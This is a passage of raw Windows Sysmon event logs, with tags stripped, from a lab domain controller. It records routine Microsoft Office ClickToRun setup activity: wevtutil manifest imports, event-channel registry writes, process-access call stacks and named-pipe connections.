14:44:11.633{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.633{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.633{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-CE08-00000000F001}5832C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.633{7BD73061-6F39-613B-9F08-00000000F001}33286668C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F3B-613B-CE08-00000000F001}5832C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+305077|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2fa81e|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.636{7BD73061-6F3B-613B-CE08-00000000F001}5832C:\Windows\System32\wevtutil.exe10.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Eventing Command Line UtilityMicrosoft® Windows® Operating SystemMicrosoft Corporationwevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\wordEtw.man" /rf:"C:\Program Files\Microsoft Office\root\Office16\wwlib.dll" /mf:"C:\Program Files\Microsoft Office\root\Office16\wwlib.dll"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91803E340A7E7AFDF95A8031F6EF3F3E,SHA256=DCFD99FE08A5D46C52E810FE2F9CC15AC82008975C0A731A11773B11ADE0F3CC,IMPHASH=51FFA3B7FBD1EF82ECE0730B54406E64{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 23542300x800000000000000042109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.633{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\wordEtw.manMD5=2AF25359E1196EC248A1AD62C3E63984,SHA256=8D713B5A5D7415BCE12EC2C4F419A951FF8785AD6057B9A0C646841C530DC47A,IMPHASH=00000000000000000000000000000000falsefalse - rename failed with status 0xc0000022 18141800x800000000000000042108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.633{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000042107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.602{7BD73061-6F3B-613B-CB08-00000000F001}1380C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\AirSpaceChannel\TypeDWORD (0x00000002) 13241300x800000000000000042106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.602{7BD73061-6F3B-613B-CB08-00000000F001}1380C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\AirSpaceChannel\IsolationDWORD (0x00000000) 13241300x800000000000000042105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.602{7BD73061-6F3B-613B-CB08-00000000F001}1380C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\AirSpaceChannel\OwningPublisher{f562bb8e-422d-4b5c-b20e-90d710f7d11c} 18141800x800000000000000042104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.570{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.555{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3B-613B-CD08-00000000F001}6388C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.539{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-CD08-00000000F001}6388C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.539{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3B-613B-CD08-00000000F001}6388C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.523{7BD73061-6F3B-613B-CC08-00000000F001}5152676C:\Windows\system32\conhost.exe{7BD73061-6F3B-613B-CB08-00000000F001}1380C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.508{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-CC08-00000000F001}5152C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.508{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.508{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.508{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.508{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.508{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-CB08-00000000F001}1380C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.508{7BD73061-6F39-613B-9F08-00000000F001}33286668C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F3B-613B-CB08-00000000F001}1380C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+305077|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2fa81e|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.517{7BD73061-6F3B-613B-CB08-00000000F001}1380C:\Windows\System32\wevtutil.exe10.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Eventing Command Line UtilityMicrosoft® Windows® Operating SystemMicrosoft Corporationwevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\AirSpace.Etw.man" /rf:"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\mso.dll" /mf:"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\mso.dll"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91803E340A7E7AFDF95A8031F6EF3F3E,SHA256=DCFD99FE08A5D46C52E810FE2F9CC15AC82008975C0A731A11773B11ADE0F3CC,IMPHASH=51FFA3B7FBD1EF82ECE0730B54406E64{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 23542300x800000000000000042083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.508{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\AirSpace.Etw.manMD5=E6882E25933E1F822EDBFE75905A799A,SHA256=5581A2CE207E841CF6C4AD28A7E8D363CCAA95B6AC8CF23F973CA1F2017F25DC,IMPHASH=00000000000000000000000000000000falsefalse - rename failed with status 0xc0000022 18141800x800000000000000042082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000042079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.477{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\OfficeDebugChannel\TypeDWORD (0x00000003) 13241300x800000000000000042078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.477{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\OfficeDebugChannel\IsolationDWORD (0x00000000) 13241300x800000000000000042077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.477{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\OfficeDebugChannel\OwningPublisher{8736922d-e8b2-47eb-8564-23e77e728cf3} 13241300x800000000000000042076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.477{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\OfficeChannel\TypeDWORD (0x00000002) 13241300x800000000000000042075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.477{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\OfficeChannel\IsolationDWORD (0x00000000) 13241300x800000000000000042074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.477{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\OfficeChannel\OwningPublisher{8736922d-e8b2-47eb-8564-23e77e728cf3} 18141800x800000000000000042073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.430{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000042072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.414{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\General Logging\TypeDWORD (0x00000002) 13241300x800000000000000042071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.414{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\General Logging\IsolationDWORD (0x00000000) 13241300x800000000000000042070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.414{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\General Logging\OwningPublisher{f50d9315-e17e-43c1-8370-3edf6cc057be} 18141800x800000000000000042069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.383{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.367{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.352{7BD73061-6F3B-613B-CA08-00000000F001}55804552C:\Windows\system32\conhost.exe{7BD73061-6F3B-613B-C908-00000000F001}1368C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.352{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-CA08-00000000F001}5580C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 